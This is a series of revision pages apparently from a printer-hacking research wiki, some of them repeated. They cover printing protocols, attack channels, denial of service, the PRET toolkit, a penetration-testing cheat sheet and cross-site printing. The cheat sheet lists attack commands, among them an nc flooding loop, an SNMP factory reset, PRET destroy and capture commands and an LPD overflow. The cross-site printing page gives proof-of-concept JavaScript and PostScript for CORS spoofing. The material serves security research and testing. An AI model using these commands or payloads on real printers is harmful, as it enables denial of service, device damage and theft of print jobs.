Sending data to a printer device can be done by [[USB_drive_or_cable|USB]]/parallel cable or over a network. This wiki focuses on network printing but most of the presented attacks can also be performed against local printers. There are various exotic protocols for network printing like Novell's [https://en.wikipedia.org/wiki/NetWare_Core_Protocol NCP] or [https://en.wikipedia.org/wiki/AppleTalk AppleTalk]. In the Windows world, [[SMB]]/CIFS printer shares have become quite popular. Furthermore, some devices support printing over generic protocols such as [https://en.wikipedia.org/wiki/File_Transfer_Protocol FTP] or [https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol HTTP] file uploads. The most common printing protocols supported directly by network printers however are [[LPD]], [[IPP]], and [[Raw|raw port 9100]] printing. Network printing protocols can be attacked directly, for example by exploiting a [[Buffer overflows#LPD daemon|buffer overflow]] in the printer's LPD daemon. In many attack scenarios however, they only act as a '''carrier/channel''' to deploy malicious [[Printer language]] code. Note that a network printer usually supports multiple protocols to ‘print’ a document which broadens the attack surface.

→ ''Related articles:'' [[LPD]], [[IPP]], [[Raw]], [[SMB]]

== Printer Control Languages ==

A job control language manages settings like output trays for the current print job. While it usually sits as an optional layer in-between the printing protocol and the page description language, functions may be overlapping. Examples of vendor-specific job control languages are [http://www.undocprint.org/formats/printer_control_languages/cpca CPCA], [http://www.undocprint.org/formats/printer_control_languages/xjcl XJCL], [http://www.undocprint.org/formats/printer_control_languages/ejl EJL] and [[PJL]] – which is supported by a variety of printers and will be discussed below. In addition, printer control and management languages are designed to affect not only a single print job but the device as a whole. One approach to define a common standard for this task was [http://www.undocprint.org/formats/printer_control_languages/npap NPAP]. However, it has not established itself and is only supported by Lexmark. Other printer manufacturers instead use [[SNMP]] or its PJL-based metalanguage [[PML]].

→ ''Related articles:'' [[PJL]], [[PML]], [[SNMP]], [[UEL]]

== Page Description Languages ==

A page description language (PDL) specifies the appearance of the actual document. It must however be pointed out that some PDLs offer limited job control, so a clear demarcation between page description and printer/job control language is not always possible. The function of a ‘printer driver’ is to translate the file to be printed into a PDL that is understood by the printer model. Note that some low cost inkjet printers do not support any high level page description language at all. So called host-based or [https://en.wikipedia.org/wiki/Graphics_Device_Interface#GDI_printers GDI] printers only accept simple bitmap datastreams like [http://www.undocprint.org/formats/page_description_languages/zjstream ZJS] while the actual rendering is done by the printer driver. There are various proprietary page description languages like Kyocera's [http://www.undocprint.org/formats/page_description_languages/prescribe PRESCRIBE], [http://www.undocprint.org/formats/page_description_languages/spl SPL], [http://www.undocprint.org/formats/page_description_languages/xes XES], [http://www.undocprint.org/formats/page_description_languages/capsl CaPSL], [http://www.undocprint.org/formats/page_description_languages/rpcs RPCS], [https://en.wikipedia.org/wiki/ESC/P ESC/P] which is mostly used in dot matrix printers or [https://en.wikipedia.org/wiki/HPGL HP-GL] and [https://en.wikipedia.org/wiki/HPGL#HP-GL.2F2 HP-GL/2] which have been designed for plotters. Support for direct [https://en.wikipedia.org/wiki/Portable_Document_Format PDF] and [https://en.wikipedia.org/wiki/Open_XML_Paper_Specification XPS] printing is also common on newer printers. The most common ‘standard’ page description languages however are [[PostScript]] and [[PCL]].

→ ''Related articles:'' [[PCL]], [[PostScript]]

-----------

Port 9100 printing

2017-01-31T15:44:40Z

Admin:

[[File:Raw-deployment-channel.png|thumb|180px|Printing over port 9100]]

Raw printing is what we define as the process of making a connection to port 9100/tcp of a network printer – a functionality which was originally introduced by HP in the early 90s using separate hardware modules. It is the default method used by ''CUPS'' and the ''Windows printing architecture'' <ref>''[https://msdn.microsoft.com/windows/hardware/drivers/print/printer-driver-architecture Windows Printer Driver Architecture]'', Microsoft Corporation</ref> to communicate with network printers as it is considered as ‘the simplest, fastest, and generally the most reliable network protocol used for printers’ <ref>''[https://www.cups.org/doc/network.html\#PROTOCOLS Network Protocols supported by CUPS – AppSocket Protocol]'', M. Sweet</ref>. Raw port 9100 printing, also referred to as ''JetDirect'', ''AppSocket'' or ''PDL-datastream'' actually is not a printing protocol by itself. Instead all data sent is directly processed by the printing device, just like a parallel connection over TCP. In contrast to [[LPD]], [[IPP]] and [[SMB]] interpreted [[Fundamentals#Printer Control Languages|printer control]] or [[Fundamentals#Page Description Languages|page description]] languages can send direct feedback to the client, including status and error messages. Such a '''bidirectional channel''' is not only perfect for debugging, but gives us direct access to results of PJL, PostScript or PCL commands, for example for [information disclosure] attacks. Therefore raw port 9100 printing – which is supported by almost any network printer – is used as the channel for security analysis with [[PRET]] and [[PFT]].

=== Who would put a printer on the Internet? ===

Obviously, a port 9100 based attack requires IP packets to be routed from the attacker to the printer device and backwards but printers usually are not directly connected to the Internet <ref>It however must be noted that in many educational institutions it is common even today to assign a public IP address to all networked devices including printers.</ref>. As of July 2016, the Shodan search engine categorizes only 31.264 '''Internet-accessible''' devices as printers as shown below:

[[File:Shodan.png|border|Printers reachable directly via the Internet]]

Attacking intranet printers however may also be attractive to an '''insider'''. Imagine an employee who has motivation to obtain the department manager's payroll print job from a shared device. It is also worth mentioning that many new printers bring their own '''wireless access point''' – unencrypted by default to allow easy printing, for example via ''AirPrint'' <ref>''[https://support.apple.com/en-us/HT201311 About AirPrint]'', Apple Inc</ref> compatible mobile apps. While connecting to a printer through Wi-Fi requires the attacker to stay physically close to the device, it may be feasible to perform her attack from outside of the targeted institution depending on the signal strength.

→ ''Related articles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[PRET]], [[PFT]]

----

PRET

2017-01-31T15:37:53Z

Admin:

The PRinter Exploitation Toolkit (PRET) is a Python tool developed at the University of Bochum to automate most attacks presented in this wiki. It connects to a printing device via [[Port 9100 printing|network]] or [[USB]] and allows penetration testers to exploit a large variety of bugs and features in [[PostScript]], [[PJL]] and [[PCL]], including temporary and physical [[denial of service]] attacks, resetting the device to [[factory defaults]], print job [[Print job manipulation|manipulation]] and [[Print job retention|retention]], access to a printer's [[Memory access|memory]] and [[File system access|file system]] as well as [[Credential disclosure|password cracking]].

== External links ==

* [https://github.com/RUB-NDS/PRET Official website]

Print job access

2017-01-31T15:36:35Z

Admin:

The most valuable data found on printers is print jobs themselves. Even in a digital world, important documents are printed and kept as hard copies. In high security environments with encrypted hard disks and network traffic, printers might be the '''weakest link''' in the security chain.

''Currently, the following print job access categories are discussed in this wiki:''

* [[Print job retention]] – Obtaining documents printed by other users (the ultimate goal in printer hacking)
* [[Print job manipulation]] – Editing documents printed by other users (overlay graphics and further pranks)

Denial of service

2017-01-31T15:35:12Z

Admin:

''' ''Rule of thumb: ‘If you can print, you can prevent others from printing’'' '''

Any network resource can be slowed down or even made completely unavailable to legitimate users by consuming its resources in terms of CPU/memory or bandwidth. Common techniques involve stressing services (for example, web servers and applications) or protocols on the network level (for example, [https://en.wikipedia.org/wiki/SYN_flood SYN flooding] or more advanced [https://en.wikipedia.org/wiki/Slowloris_%28computer_security%29 Slowloris] attacks). While those generic attacks work against network printers too, this wiki focuses on printer-specific denial of service attacks and gives a brief overview of methods to cause loss of availability and show that this can be accomplished by very simple means.

While the business impact of unavailable printers might be limited in most offices, time-critical industries like overnight digital printing companies may suffer '''financial loss''' even for short-term outages.


''Currently, the following denial of service techniques are discussed in this wiki:''

* [[Transmission channel]] – Blocking others by keeping a connection to port 9100/tcp open
* [[Document processing]] – Using PostScript and PJL to break printing functionality
* [[Physical damage]] – Exhausting the NVRAM's limited number of write cycles

Denial of service

2017-01-31T15:34:49Z

Admin:

''' ''Rule of thumb: ‘If you can print, you can prevent others from printing’'' '''

Any network resource can be slowed down or even made completely unavailable to legitimate users by consuming its resources in terms of CPU/memory or bandwidth. Common techniques involve stressing services (for example, web servers and applications) or protocols on the network level (for example, [https://en.wikipedia.org/wiki/SYN_flood SYN flooding] or more advanced [https://en.wikipedia.org/wiki/Slowloris_%28computer_security%29 Slowloris] attacks). While those generic attacks work against network printers too, this wiki focuses on printer-specific denial of service attacks and gives a brief overview of methods to cause loss of availability and show that this can be accomplished by very simple means.

While the business impact of unavailable printers might be limited in most offices, time-critical industries like overnight digital printing companies may suffer '''financial loss even for short-term outages'''.


''Currently, the following denial of service techniques are discussed in this wiki:''

* [[Transmission channel]] – Blocking others by keeping a connection to port 9100/tcp open
* [[Document processing]] – Using PostScript and PJL to break printing functionality
* [[Physical damage]] – Exhausting the NVRAM's limited number of write cycles

Attack carriers

2017-01-28T18:04:49Z

Admin: Created page with "Overview of channels to deploy a (malicious) print job Various channels like USB, LPD, IPP, SMB, or raw port 9100 p..."

[[File:Deployment-channels.png|thumb|Overview of channels to deploy a (malicious) print job]]

Various channels like [[USB]], [[LPD]], [[IPP]], [[SMB]], or [[raw]] port 9100 printing can be used as carriers to deploy malicious print jobs. While it is possible the attack [[Fundamentals#Network_printing_protocols|printing protocols]] themselves, most attacks discussed in this wiki are targeted for the [[PostScript]] and [[PJL]] interpreters. The payload is just routed by any of the printing channels. This is important to note because it means '''whenever the attacker can somehow ‘print’ she can attack and exploit those interpreters'''.

[[File:Printing-overview.png|400px|Attack the interpreters, not the printing channels]]

This fact makes it very harder for the blue team ([[Countermeasures#Admins|network administrators]], for example) to defend against printer attacks. Many devices even allow printing (and therefore exploitation) by uploading a raw file to the printer's [https://en.wikipedia.org/wiki/File_Transfer_Protocol FTP] service or to a form on the embedded web server. To get an impression, an overview of printing channels supported by various printer models is given below.

{| class="wikitable" style="text-align:center"
|+ Malicious print job deployment channels
|-
! Printer model !! LPD !! IPP !! Raw !! Web !! FTP !! SMB !! USB
|-
| style="text-align:left;" | HP LaserJet 1200 || ✔ || || ✔ || || || ||
|-
| style="text-align:left;" | HP LaserJet 4200N || ✔ || ✔ || ✔ || || ✔ || ||
|-
| style="text-align:left;" | HP LaserJet 4250N || ✔ || ✔ || ✔ || ✔ || ✔ || || ✔
|-
| style="text-align:left;" | HP LaserJet P2015dn || ✔ || || ✔ || || || ✔ || ✔
|-
| style="text-align:left;" | HP LaserJet M2727nfs || ✔ || || ✔ || || || ✔ || ✔
|-
| style="text-align:left;" | HP LaserJet 3392 AiO || ✔ || || ✔ || || || ✔ || ✔
|-
| style="text-align:left;" | HP Color LaserJet CP1515n || ✔ || || ✔ || || || || ✔
|-
| style="text-align:left;" | Brother MFC-9120CN || ✔ || ✔ || ✔ || || ✔ || || ✔
|-
| style="text-align:left;" | Brother DCP-9045CDN || ✔ || ✔ || ✔ || || ✔ || || ✔
|-
| style="text-align:left;" | Lexmark X264dn || ✔ || ✔ || ✔ || || ✔ || || ✔
|-
| style="text-align:left;" | Lexmark E360dn || ✔ || ✔ || ✔ || || ✔ || || ✔
|-
| style="text-align:left;" | Lexmark C736dn || ✔ || ✔ || ✔ || || ✔ || || ✔
|-
| style="text-align:left;" | Dell 5130cdn || ✔ || ✔ || ✔ || || ✔ || ✔ || ✔
|-
| style="text-align:left;" | Dell 1720n || ✔ || ✔ || ✔ || || ✔ || || ✔
|-
| style="text-align:left;" | Dell 3110cn || ✔ || || ✔ || || ✔ || || ✔
|-
| style="text-align:left;" | Kyocera FS-C5200DN || ✔ || || ✔ || || ✔ || ✔ || ✔
|-
| style="text-align:left;" | Samsung CLX-3305W || ✔ || ✔ || ✔ || || || || ✔
|-
| style="text-align:left;" | Samsung MultiPress 6345N || ✔ || ✔ || ✔ || ✔ || || || ✔
|-
| style="text-align:left;" | Konica bizhub 20p || ✔ || ✔ || ✔ || || ✔ || || ✔
|-
| style="text-align:left;" | OKI MC342dn || ✔ || ✔ || ✔ || ✔ || ✔ || ✔ || ✔
|-
| style="text-align:left;" | Konica bizhub C454e || ✔ || ✔ || ✔ || ✔ || || ✔ || ✔
|-
|}

It must be noted these this are not the only possible attack scenarios. For example using social engineering, to make a victim print a malicious document is not even covered in this wiki yet – neither are new methods to deploy (potentially malicious) print jobs like cloud-based printing.

== Attacker Models ==

A '''physical attacker''' has the capability to print documents from USB stick or via USB/parallel cable. An (wired or wireless) attacker connecting through a '''TCP/IP network''' can deploy print jobs over LPD, IPP, port 9100/tcp, FTP, SMB and the embedded web server. Under the assumption that no strong user authentication like smart card based access control or SSL client certificates is enforced, both attacker models do obviously have a channel to print which is the precondition for further attacks to be carried out. Both are certainly quite strong attacker models because they require direct access – either physical or logical – to the device. However, in penetration testing scenarios where sneaking into the building is not an option and the printer is not directly reachable over the internet, other deployment channels are required. In such cases, the '''victim's web browser''' can be used as a carrier for printer malware as discussed in [[cross-site printing]].

→ ''Related aricles:'' [[USB drive or cable]], [[Port 9100 printing]], [[Cross-site printing]]

USB

2017-01-28T17:43:04Z

Admin: Redirected page to USB drive or cable

#REDIRECT [[USB drive or cable]]

Printer Security Testing Cheat Sheet

2017-01-28T17:27:31Z

Admin:

To systematically check for vulnerabilities in a printing device, first perform a generic network [http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html assessment] and check for printer-specifc web based information leaks using [[Praeda]]. Then, use the following cheat sheet to quickly find flaws in [[Fundamentals#Printer Control Languages|printer languages]] and [[Fundamentals#Network printing protocols|network protocols]].

{| class="wikitable"
|-
! Category !! Attack !! Protocol !! Testing
|-
| rowspan="5" | [[Denial of service]]
| [[Transmission channel]] || TCP || <code>while true; do nc printer 9100; done</code>
|-
| rowspan="2" | [[Document processing]]
| [[PostScript|PS]]
|| [[PRET]] commands: <code>disable</code>, <code>hang</code>
|-
| [[PJL]]
|| [[PRET]] commands: <code>disable</code>, <code>offline</code>
|-
| rowspan="2" | [[Physical damage]]
| [[PostScript|PS]]
|| [[PRET]] command: <code>destroy</code>
|-
| [[PJL]]
|| [[PRET]] command: <code>destroy</code>
|-
| rowspan="8" | [[Privilege escalation]]
| rowspan="3" | [[Factory defaults]]
| [[SNMP]]
|| <code>snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6</code>
|-
| [[PML]]
|| [[PRET]] command: <code>reset</code>
|-
| [[PostScript|PS]]
|| [[PRET]] command: <code>reset</code>
|-
| rowspan="4" | [[Accounting bypass]]
| TCP
|| Connect to printer directly, bypassing the print server
|-
| [[IPP]]
|| Check if you can set a username without authentication
|-
| [[PostScript|PS]]
|| Check if PostScript code is preprocessed on print server
|-
| [[PJL]]
|| [[PRET]] command: <code>pagecount</code>
|-
| [[Fax and Scanner]] || multiple || Install printer driver and (ab)use fax/scan functionality
|-
| rowspan="2" | [[Print job access]]
| [[Print job retention]] || [[PostScript|PS]] || [[PRET]] command: <code>capture</code>
|-
| [[Print job manipulation]] || [[PostScript|PS]] || [[PRET]] commands: <code>cross</code>, <code>overlay</code>, <code>replace</code>
|-
| rowspan="5" | [[Information disclosure]]
| [[Memory access]] || [[PJL]] || [[PRET]] command: <code>nvram dump</code>
|-
| rowspan="2" | [[File system access]]
| [[PostScript|PS]]
|| [[PRET]] commands: <code>ls</code>, <code>get</code>, <code>put</code>, …
|-
| [[PJL]]
|| [[PRET]] commands: <code>ls</code>, <code>get</code>, <code>put</code>, …
|-
| rowspan="2" | [[Credential disclosure]]
| [[PostScript|PS]]
|| [[PRET]] commands: <code>lock</code>, <code>unlock</code>
|-
| [[PJL]]
|| [[PRET]] commands: <code>lock</code>, <code>unlock</code>
|-
| rowspan="4" | [[Code execution]]
| rowspan="2" | [[Buffer overflows]]
| [[PJL]]
|| [[PRET]] command: <code>flood</code>
|-
| [[LPD]]
|| <code>./lpdtest.py printer in "`python -c 'print "x"*3000'`"</code>
|-
| [[Firmware updates]] || [[PJL]] || Flip a bit, check if the modified firmware is still accepted
|-
| [[Software packages]] || multiple || Obtain an SDK and write your own proof-of-concept application
|-
|}

Cross-site printing

2017-01-28T17:26:42Z

Admin:

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a whole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|-
! Channel !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || - || ✔ || ✔ || -
|-
| Web || ✔ || - || - || -
|-
| IPP || ✔ || - || ✔ || -
|-
| LPD || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op
|-
| FTP || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer.

→ ''Related aricles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[Port 9100 printing]], [[BeEF]]

----

Cross-site printing

2017-01-28T17:25:54Z

Admin:

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a whole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|+ Comparison of cross-site printing channels
|-
! Channel !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || - || ✔ || ✔ || -
|-
| Web || ✔ || - || - || -
|-
| IPP || ✔ || - || ✔ || -
|-
| LPD || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op
|-
| FTP || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer.

→ ''Related aricles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[Port 9100 printing]], [[BeEF]]

----

Software packages

2017-01-28T17:21:58Z

Admin:

